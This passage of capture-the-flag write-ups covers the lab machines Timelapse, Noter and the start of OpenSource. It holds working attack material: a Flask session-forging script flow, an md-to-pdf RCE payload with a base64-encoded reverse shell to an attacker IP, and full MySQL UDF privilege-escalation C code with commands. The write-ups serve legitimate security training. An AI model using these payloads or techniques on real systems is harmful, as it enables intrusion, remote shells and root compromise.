Password expires             Never
Password changeable          10/26/2021 12:12:37 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   7/24/2022 7:40:40 PM

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *LAPS_Readers         *Domain Users
```

It is part of the `LAPS_Readers` group.

According to [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#laps), "LAPS allows you to manage the local Administrator password (which is randomised, unique, and changed regularly) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. Passwords are protected in transit from the client to the server using Kerberos v5 and AES."

So, we can view the local Administrator password because we are part of the `LAPS_Readers` group. Searching for "view laps password powershell" finds [this article](https://smarthomepursuits.com/export-laps-passwords-powershell/) from which I determined that running `Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime` will print the password.

So, run `invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime}`:

```
PSComputerName              : localhost
RunspaceId                  : caa1633d-9159-4aff-878c-7f9093c813d4
DistinguishedName           : CN=DC01,OU=Domain Controllers,DC=timelapse,DC=htb
DNSHostName                 : dc01.timelapse.htb
Enabled                     : True
ms-Mcs-AdmPwd               : 02j(2Mj4(T2$Ic,cGFs{j/4%
ms-Mcs-AdmPwdExpirationTime : 133035980576115802
Name                        : DC01
ObjectClass                 : computer
ObjectGUID                  : 6e10b102-6936-41aa-bb98-bed624c9b98f
SamAccountName              : DC01$
SID                         : S-1-5-21-671920749-559770252-3318990721-1000
UserPrincipalName           :
```

The password for local Administrator `DC01` is `02j(2Mj4(T2$Ic,cGFs{j/4%`.

So, let's use `evil-winrm` to connect as that user. From the attacker machine, run `evil-winrm -S -u 'Administrator' -p '02j(2Mj4(T2$Ic,cGFs{j/4%' -i 10.10.11.152`.

The `root.txt` flag is not in the usual spot at `C:\Users\Administrator\Desktop\root.txt`. We can try to find it by navigating to `C:\Users` and then running `gci -recurse -filter "root.txt"` (command from [this StackOverflow answer](https://stackoverflow.com/a/3428113)):

```
    Directory: C:\Users\TRX\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/24/2022  12:54 PM             34 root.txt
```

Running `cat C:\Users\TRX\Desktop\root.txt` prints the root flag.


# Noter

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.160 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.160`.

```
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c6:53:c6:2a:e9:28:90:50:4d:0c:8d:64:88:e0:08:4d (RSA)
|   256 5f:12:58:5f:49:7d:f3:6c:bd:9b:25:49:ba:09:cc:43 (ECDSA)
|_  256 f1:6b:00:16:f7:88:ab:00:ce:96:af:a6:7e:b5:a8:39 (ED25519)
5000/tcp  open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Noter
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
44891/tcp open  unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

### Port `5000` (Werkzeug web server)

We create an account and then sign in. Immediately we notice there is an option to "Upgrade to VIP," but clicking on it shows the message "We are currently not able to provide new premium memberships due to some problems in our end. We will let you know once we are back on. Thank you!"

Let's brute force directories with `ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.160:5000/FUZZ`:

```
dashboard               [Status: 302, Size: 218, Words: 21, Lines: 4, Duration: 44ms]
login                   [Status: 200, Size: 1963, Words: 427, Lines: 67, Duration: 70ms]
logout                  [Status: 302, Size: 218, Words: 21, Lines: 4, Duration: 34ms]
notes                   [Status: 302, Size: 218, Words: 21, Lines: 4, Duration: 35ms]
register                [Status: 200, Size: 2642, Words: 523, Lines: 95, Duration: 125ms]
```

This finds nothing useful. We can also try scanning for directories with our session cookie to see if anything is only available if the cookie is provided. Run `ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.160:5000/FUZZ -H "Cookie: session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoianVsaWEifQ.Yt3kTQ.UWzojmagq_6leTSG7D43gTP21d4"`. This finds nothing else.

This is a Werkzeug web server so it is probably a [Flask](https://flask.palletsprojects.com/en/2.1.x/) application. Using [this website](https://www.kirsle.net/wizards/flask-session.cgi) we can easily decode the cookie:

```json
{
    "logged_in": true,
    "username": "julia"
}
```

Now, let's try to bruteforce the secret used to sign the session cookie. I wrote a script to do this: [session\_cookie\_secret\_bruteforce.py](https://github.com/HHousen/hack-the-box/blob/master/Machines/Noter/session_cookie_secret_bruteforce.py). It is basically the same [script that I wrote to solve a PicoCTF 2021 challenge](https://github.com/HHousen/PicoCTF-2021/blob/6f9f20933e1ed467dbdfcdd7af027a06439e2d84/Web%20Exploitation/Most%20Cookies/script.py). The [Flask-Unsign](https://github.com/Paradoxis/Flask-Unsign) tool can also do this bruteforce attack.

The script finds the secret is `secret123`. So, now we can sign cookies. We can try signing the cookie `{"logged_in": true, "username": "admin"}` to see if there is a user with the username `admin`. We use the `flask_cookie` method from the [session\_cookie\_secret\_bruteforce.py](https://github.com/HHousen/hack-the-box/blob/master/Machines/Noter/session_cookie_secret_bruteforce.py) script and then run the following:

```
admin_cookie_encoded = flask_cookie(secret_key, {"logged_in": True, "username": "admin"}, "encode")
print("Admin Cookie: %s" % admin_cookie_encoded)
```

The admin cookie is `eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYWRtaW4ifQ.Yt3rCQ.OzacX8Fa8wnFmOzHTUaNy4xaFAc`. Swapping the session cookie for our new `admin` cookie and reloading the page says we are not authorized. We can try logging out but nothing happens. Creating an account with name `admin` works, so the account didn't exist. However, with the two cookies we can switch between the `admin` and `julia` accounts without a password. Thus, we can now try bruteforcing usernames.

I wrote a \[username\_bruteforce.py] script. It loops through all the usernames in `/usr/share/seclists/Usernames/Names/names.txt`, creates a flask session cookie for each one, and tries to load the Noter dashboard using each cookie. If the dashboard loads with HTTP status code 200 (aka a redirect didn't happen to the login page), then we know we have the correct username. After 1m16s the script tells us that the username is `blue` with cookie `eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiYmx1ZSJ9.Yt3vTg.byVuyD6oDmJesXew0i_pbcSir6s`. We can now use that cookie in our browser.

Going to the notes page at `http://10.10.11.160:5000/notes` shows two notes:

1. **Noter Premium Membership**:

```
    Hello, Thank you for choosing our premium service. Now you are capable of
doing many more things with our application. All the information you are going
to need are on the Email we sent you. By the way, now you can access our FTP
service as well. Your username is 'blue' and the password is 'blue@Noter!'.
Make sure to remember them and delete this.  
(Additional information are included in the attachments we sent along the
Email)  
  
We all hope you enjoy our service. Thanks!  
  
ftp_admin
```

Also, on the "Export Notes" page there is now a "Export directly from cloud" option where we can enter a URL since the `blue` user is a VIP.

1. **Before the weekend**:

```
    * Delete the password note  
* Ask the admin team to change the password
```

Now, we can sign into the FTP server on port `21`.

### Port `21` (FTP)

Run `ftp 10.10.11.160` to connect via FTP and enter username `blue` and password `blue@Noter!` when prompted:

```
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:kali): blue
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||24477|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 May 02 23:05 files
-rw-r--r--    1 1002     1002        12569 Dec 24  2021 policy.pdf
226 Directory send OK.
ftp> ls files/
229 Entering Extended Passive Mode (|||53616|)
150 Here comes the directory listing.
226 Directory send OK.
```

The `files` directory appears empty (maybe we don't have permissions to view files in that folder) and there is a `policy.pdf` file. We can download all the files with `wget -m --user=blue --password=blue@Noter! ftp://10.10.11.160`.

The [policy.pdf](https://github.com/HHousen/hack-the-box/blob/master/Machines/Noter/policy.pdf) file discusses Noter's password policy. Interestingly, "Default user-password generated by the application is in the format of "username\@site\_name!" (This applies to all your applications)"

The first note was signed `ftp_admin` so maybe that account still has its default password of `ftp_admin@Noter!`. Run `ftp 10.10.11.160` to connect via FTP and enter username `ftp_admin` and password `ftp_admin@Noter!` when prompted:

```
Connected to 10.10.11.160.
220 (vsFTPd 3.0.3)
Name (10.10.11.160:kali): ftp_admin
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||37465|)
150 Here comes the directory listing.
-rw-r--r--    1 1003     1003        25559 Nov 01  2021 app_backup_1635803546.zip
-rw-r--r--    1 1003     1003        26298 Dec 01  2021 app_backup_1638395546.zip
226 Directory send OK.
```

Let's download these files by running `wget -m --user=ftp_admin --password=ftp_admin@Noter! ftp://10.10.11.160`.

## Foothold

There are two app backup ZIP files. Extract the ZIP files and then run `diff app_backup_1635803546/ app_backup_1638395546/` to look at the difference between them (because the numbers at the end are unix times):

```diff
17,18c17,18
< app.config['MYSQL_USER'] = 'root'
< app.config['MYSQL_PASSWORD'] = 'Nildogg36'
---
> app.config['MYSQL_USER'] = 'DB_user'
> app.config['MYSQL_PASSWORD'] = 'DB_password'
21a22,23
> attachment_dir = 'misc/attachments/'
> 
239a242,368
> 
> # Export notes
> @app.route('/export_note', methods=['GET', 'POST'])
> @is_logged_in
> def export_note():
>     if check_VIP(session['username']):
>         try:
>             cur = mysql.connection.cursor()
> 
>             # Get note
>             result = cur.execute("SELECT * FROM notes WHERE author = %s", ([session['username']]))
> 
>             notes = cur.fetchall()
> 
>             if result > 0:
>                 return render_template('export_note.html', notes=notes)
>             else:
>                 msg = 'No notes Found'
>                 return render_template('export_note.html', msg=msg)
>             # Close connection
>             cur.close()
>                 
>         except Exception as e:
>             return render_template('export_note.html', error="An error occured!")
> 
>     else:
>         abort(403)
> 
> # Export local
> @app.route('/export_note_local/<string:id>', methods=['GET'])
> @is_logged_in
> def export_note_local(id):
>     if check_VIP(session['username']):
> 
>         cur = mysql.connection.cursor()
> 
>         result = cur.execute("SELECT * FROM notes WHERE id = %s and author = %s", (id,session['username']))
> 
>         if result > 0:
>             note = cur.fetchone()
> 
>             rand_int = random.randint(1,10000)
>             command = f"node misc/md-to-pdf.js  $'{note['body']}' {rand_int}"
>             subprocess.run(command, shell=True, executable="/bin/bash")
>         
>             return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)
> 
>         else:
>             return render_template('dashboard.html')
>     else:
>         abort(403)
> 
> # Export remote
> @app.route('/export_note_remote', methods=['POST'])
> @is_logged_in
> def export_note_remote():
>     if check_VIP(session['username']):
>         try:
>             url = request.form['url']
> 
>             status, error = parse_url(url)
> 
>             if (status is True) and (error is None):
>                 try:
>                     r = pyrequest.get(url,allow_redirects=True)
>                     rand_int = random.randint(1,10000)
>                     command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
>                     subprocess.run(command, shell=True, executable="/bin/bash")
> 
>                     if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):
> 
>                         return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)
> 
>                     else:
>                         return render_template('export_note.html', error="Error occured while exporting the !")
> 
>                 except Exception as e:
>                     return render_template('export_note.html', error="Error occured!")
> 
> 
>             else:
>                 return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
>             
>         except Exception as e:
>             return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")
> 
>     else:
>         abort(403)
> 
> # Import notes
> @app.route('/import_note', methods=['GET', 'POST'])
> @is_logged_in
> def import_note():
> 
>     if check_VIP(session['username']):
>         if request.method == 'GET':
>             return render_template('import_note.html')
> 
>         elif request.method == "POST":
>             title = request.form['title']
>             url = request.form['url']
> 
>             status, error = parse_url(url)
> 
>             if (status is True) and (error is None):
>                 try:
>                     r = pyrequest.get(url,allow_redirects=True)
>                     md = "\n\n".join(r.text.split("\n")[:])
> 
>                     body = markdown.markdown(md)
>                     cur = mysql.connection.cursor()
>                     cur.execute("INSERT INTO notes(title, body, author, create_date ) VALUES  (%s, %s, %s ,%s) ", (title, body[:900], session['username'], time.ctime()))                                                                                                                                                             
>                     mysql.connection.commit()
>                     cur.close()
> 
>                     return render_template('import_note.html', msg="Note imported successfully!")
> 
>                 
>                 except Exception as e:
>                     return render_template('import_note.html', error="An error occured when importing!")
> 
>             else:
>                 return render_template('import_note.html', error=f"An error occured when importing! ({error})")
> 
>     else:
>         abort(403)
> 
Common subdirectories: app_backup_1635803546/misc and app_backup_1638395546/misc
Common subdirectories: app_backup_1635803546/templates and app_backup_1638395546/templates
```

We notice that the mysql database credentials used to be hardcoded but where then replaced with placeholder values. The database credential are `root:Nildogg36`.

Looking at `app_backup_1638395546/app.py` we see `export_note_local` and `export_note_remote`:

```python
# Export local
@app.route('/export_note_local/<string:id>', methods=['GET'])
@is_logged_in
def export_note_local(id):
    if check_VIP(session['username']):

        cur = mysql.connection.cursor()

        result = cur.execute("SELECT * FROM notes WHERE id = %s and author = %s", (id,session['username']))

        if result > 0:
            note = cur.fetchone()

            rand_int = random.randint(1,10000)
            command = f"node misc/md-to-pdf.js  $'{note['body']}' {rand_int}"
            subprocess.run(command, shell=True, executable="/bin/bash")
        
            return send_file(attachment_dir + str(rand_int) +'.pdf', as_attachment=True)

        else:
            return render_template('dashboard.html')
    else:
        abort(403)

# Export remote
@app.route('/export_note_remote', methods=['POST'])
@is_logged_in
def export_note_remote():
    if check_VIP(session['username']):
        try:
            url = request.form['url']

            status, error = parse_url(url)

            if (status is True) and (error is None):
                try:
                    r = pyrequest.get(url,allow_redirects=True)
                    rand_int = random.randint(1,10000)
                    command = f"node misc/md-to-pdf.js  $'{r.text.strip()}' {rand_int}"
                    subprocess.run(command, shell=True, executable="/bin/bash")

                    if os.path.isfile(attachment_dir + f'{str(rand_int)}.pdf'):

                        return send_file(attachment_dir + f'{str(rand_int)}.pdf', as_attachment=True)

                    else:
                        return render_template('export_note.html', error="Error occured while exporting the !")

                except Exception as e:
                    return render_template('export_note.html', error="Error occured!")


            else:
                return render_template('export_note.html', error=f"Error occured while exporting ! ({error})")
            
        except Exception as e:
            return render_template('export_note.html', error=f"Error occured while exporting ! ({e})")

    else:
        abort(403)
```

The `md-to-pdf.js` script appears to be used to convert markdown notes to PDFs. Searching online finds the [package's NPM page](https://www.npmjs.com/package/md-to-pdf) and searching for "md-to-pdf vulnerability" finds a ["Code Injection in md-to-pdf" GitHub advisory](https://github.com/advisories/GHSA-x949-7cm6-fm6p): "The package md-to-pdf before 5.0.0 are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine." This is CVE-2021-23639.

Looking at the [issue where the vulnerability was reported](https://github.com/simonhaenisch/md-to-pdf/issues/99) gives some proof-of-concept code:

```js
const { mdToPdf } = require('md-to-pdf');

var payload = '---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE';

(async () => {
	await mdToPdf({ content: payload }, { dest: './output.pdf' });
})();
```

It looks like we just need to pass `md-to-pdf` a markdown file with content like `---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE` and it will execute our code. So, our payload is `---js\n((require("child_process")).execSync("bash -i >& /dev/tcp/10.10.14.7/42626 0>&1"))\n---RCE`. I base64 encoded the payload to ensure it runs exactly as intended: `---js\n((require("child_process")).execSync("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43LzQyNjI2IDA+JjE= | base64 -d | bash"))\n---RCE`.

Start a listener with `nc -lvnp 42626` (or use pwncat with `pwncat-cs -lp 42626`). Start a web server with `python -m http.server 8000`. Create a file called `exploit.md` with the above payload contents. Then, in the Noter application, on the "Export Notes" page under the "Export directly from cloud" heading, enter `http://10.10.14.7:8000/exploit.md` into the URL field and click "Export". This should spawn a reverse shell.

Run `cat /home/svc/user.txt` to get the `user.txt` flag. We can copy our SSH key to the `svc` user's `authorized_keys` files and then authenticate over SSH for a full shell. Run `cat ~/.ssh/id_rsa.pub` on the attacker machine and paste the output into `/home/svc/.ssh/authorized_keys` on the target machine.

## Privilege Escalation

Earlier we got the root credentials for MySQL: `root:Nildogg36`. Since we are the root MySQL user, we can use a technique called ["privilege escalation via library"](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mysql#privilege-escalation-via-library) to get root on the box.

Following the [HackTricks instructions](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mysql#privilege-escalation-via-library), we need to download this [linux C code](https://www.exploit-db.com/exploits/1518) and compile it inside the linux vulnerable machine.

So, copy paste the following into a file called `raptor_udf2.c` on the target machine:

```c
#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
	unsigned int		arg_count;	// number of arguments
	enum Item_result	*arg_type;	// pointer to item_result
	char 			**args;		// pointer to arguments
	unsigned long		*lengths;	// length of string args
	char			*maybe_null;	// 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
	char			maybe_null;	// 1 if func can return NULL
	unsigned int		decimals;	// for real functions
	unsigned long 		max_length;	// for string functions
	char			*ptr;		// free ptr for func data
	char			const_item;	// 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
	if (args->arg_count != 1)
		return(0);

	system(args->args[0]);

	return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
	return(0);
}
```

Then, run the following commands to compile it:

```
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
```

Next, run the following commands (basically the same as [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mysql#privilege-escalation-via-library)):

```
(remote) svc@noter:/home/svc$ mysql -u root -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 132
Server version: 10.3.32-MariaDB-0ubuntu0.20.04.1 Ubuntu 20.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mysql]> create table npn(line blob);
Query OK, 0 rows affected (0.005 sec)

MariaDB [mysql]> insert into npn values(load_file('/home/svc/raptor_udf2.so'));
Query OK, 1 row affected (0.003 sec)

MariaDB [mysql]> select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.001 sec)

MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.001 sec)

MariaDB [mysql]> select do_system("cp /root/root.txt /tmp/root.txt; chmod 777 /tmp/root.txt");
+-----------------------------------------------------------------------+
| do_system("cp /root/root.txt /tmp/root.txt; chmod 777 /tmp/root.txt") |
+-----------------------------------------------------------------------+
|                                                                     0 |
+-----------------------------------------------------------------------+
1 row in set (0.003 sec)

MariaDB [mysql]> exit
Bye
```

Then, finally run `cat /tmp/root.txt` to get the root flag.


# OpenSource

## Summary

Scanning with `nmap` finds a Flask webserver on port `80` for an application called "upcloud," a file uploading and sharing service. The landing page lets us download a Git repository of the source code and visit a demo of the application we downloaded. Exploring the Git repository's two branches (with a few commits per branch) reveals some credentials. There is a function in the source code that removes relative paths from uploaded file names in an attempt to prevent file uploads to other directories. However, we can use an absolute path thanks to the logic behind python's `os.path.join` method. Therefore, we upload a modified version of part of the application that contains a reverse shell endpoint and use burpsuite to change the `filename` submitted to the server. The server will overwrite the application with our modified version and then we can call our custom endpoint to get a reverse shell.

We get a reverse shell into a Docker container and access a port that `nmap` had marked as "filtered." This port contains a [Gitea](https://gitea.io) instance so we forward it to our machine using [Chisel](https://github.com/jpillora/chisel). We can sign in using the credentials previous found in the Git repository. Gitea has a repo with an SSH private key that we can use to SSH to the box.

To get `root`, we run [pspy](https://github.com/DominicBreuker/pspy) and notice that `git commit` is ran on a schedule by `root` to backup the user's home directory. We abuse this and create a pre-commit [git hook](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) that converts `/bin/bash` into a SUID binary. We wait for at most a minute and then run `bash -p` to get a root shell and grab the `root.txt` flag.

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.164 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.164`.

```
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
|   256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_  256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Wed, 27 Jul 2022 02:00:17 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5316
|     Connection: close
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>upcloud - Upload files for Free!</title>
|     <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
|     <script src="/static/vendor/popper/popper.min.js"></script>
|     <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
|     <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
|     <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
|     <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
|     <link rel=
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Wed, 27 Jul 2022 02:00:17 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: HEAD, GET, OPTIONS
|     Content-Length: 0
|     Connection: close
|   RTSPRequest:
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
|     "http://www.w3.org/TR/html4/strict.dtd">
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
3000/tcp filtered ppp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=7/26%Time=62E09C36%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,1036,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.1\.2\x20P
SF:ython/3\.10\.3\r\nDate:\x20Wed,\x2027\x20Jul\x202022\x2002:00:17\x20GMT
SF:\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20
SF:5316\r\nConnection:\x20close\r\n\r\n<html\x20lang=\"en\">\n<head>\n\x20
SF:\x20\x20\x20<meta\x20charset=\"UTF-8\">\n\x20\x20\x20\x20<meta\x20name=
SF:\"viewport\"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\
SF:n\x20\x20\x20\x20<title>upcloud\x20-\x20Upload\x20files\x20for\x20Free!
SF:</title>\n\n\x20\x20\x20\x20<script\x20src=\"/static/vendor/jquery/jque
SF:ry-3\.4\.1\.min\.js\"></script>\n\x20\x20\x20\x20<script\x20src=\"/stat
SF:ic/vendor/popper/popper\.min\.js\"></script>\n\n\x20\x20\x20\x20<script
SF:\x20src=\"/static/vendor/bootstrap/js/bootstrap\.min\.js\"></script>\n\
SF:x20\x20\x20\x20<script\x20src=\"/static/js/ie10-viewport-bug-workaround
SF:\.js\"></script>\n\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href
SF:=\"/static/vendor/bootstrap/css/bootstrap\.css\"/>\n\x20\x20\x20\x20<li
SF:nk\x20rel=\"stylesheet\"\x20href=\"\x20/static/vendor/bootstrap/css/boo
SF:tstrap-grid\.css\"/>\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20hr
SF:ef=\"\x20/static/vendor/bootstrap/css/bootstrap-reboot\.css\"/>\n\n\x20
SF:\x20\x20\x20<link\x20rel=")%r(HTTPOptions,C7,"HTTP/1\.1\x20200\x20OK\r\
SF:nServer:\x20Werkzeug/2\.1\.2\x20Python/3\.10\.3\r\nDate:\x20Wed,\x2027\
SF:x20Jul\x202022\x2002:00:17\x20GMT\r\nContent-Type:\x20text/html;\x20cha
SF:rset=utf-8\r\nAllow:\x20HEAD,\x20GET,\x20OPTIONS\r\nContent-Length:\x20
SF:0\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,1F4,"<!DOCTYPE\x20HTM
SF:L\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x204\.01//EN\"\n\x20\x20\x20\x20\x
SF:20\x20\x20\x20\"http://www\.w3\.org/TR/html4/strict\.dtd\">\n<html>\n\x
SF:20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20http-equ
SF:iv=\"Content-Type\"\x20content=\"text/html;charset=utf-8\">\n\x20\x20\x
SF:20\x20\x20\x20\x20\x20<title>Error\x20response</title>\n\x20\x20\x20\x2
SF:0</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>E
SF:rror\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code
SF::\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20req
SF:uest\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\
SF:x20<p>Error\x20code\x20explanation:\x20HTTPStatus\.BAD_REQUEST\x20-\x20
SF:Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x20
SF:\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We have a Flask Werkzeug server on port `80`, SSH on port `22`, and a filtered port `3000`.

### Flask (Port `80`)

At port `80` we are met with the homepage of a file sharing service called "upcloud." ![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-929b136c365e3d84e2ee3154716612a56b294f27%2F20220726220546.png?alt=media)

There is button that lets us download the [source code](https://github.com/HHousen/hack-the-box/blob/master/Machines/OpenSource/source.zip) (hence the box name "OpenSource"). There is also a test instance running at `http://10.10.11.164/upcloud`, which is linked to by the last button on the page.

First, in the source code there is a `Dockerfile` so this site is probably running in a Docker container.

#### Git

This is a git repo since there is a `.git` folder present. `git log` shows two commits:

```
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:55:55 2022 +0200

    clean up dockerfile for production use

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date:   Thu Apr 28 13:45:17 2022 +0200

    initial
```

We can run `git checkout HEAD~` to view the files from the first commit, but it is easier to run `git diff HEAD~ HEAD` to see the changes that were made:

```diff
diff --git a/Dockerfile b/Dockerfile
index 76c7768..5b0553c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,7 +29,6 @@ ENV PYTHONDONTWRITEBYTECODE=1
 
 # Set mode
 ENV MODE="PRODUCTION"
-# ENV FLASK_DEBUG=1
 
 # Run supervisord
 CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
```

This shows that the `FLASK_DEBUG=1` line in the `Dockerfile` was removed in the latest commit.

`git branch` shows that there is another branch called `dev`. We can view its difference from current commit with `git diff dev public`:

```diff
diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index e50a290..0000000
--- a/.gitignore
+++ /dev/null
@@ -1,26 +0,0 @@
-.DS_Store
-.env
-.flaskenv
-*.pyc
-*.pyo
-env/
-venv/
-.venv/
-env*
-dist/
-build/
-*.egg
-*.egg-info/
-_mailinglist
-.tox/
-.cache/
-.pytest_cache/
-.idea/
-docs/_build/
-.vscode
-
-# Coverage reports
-htmlcov/
-.coverage
-.coverage.*
-*,cover
diff --git a/Dockerfile b/Dockerfile
index 0875eda..5b0553c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,7 +29,6 @@ ENV PYTHONDONTWRITEBYTECODE=1
 
 # Set mode
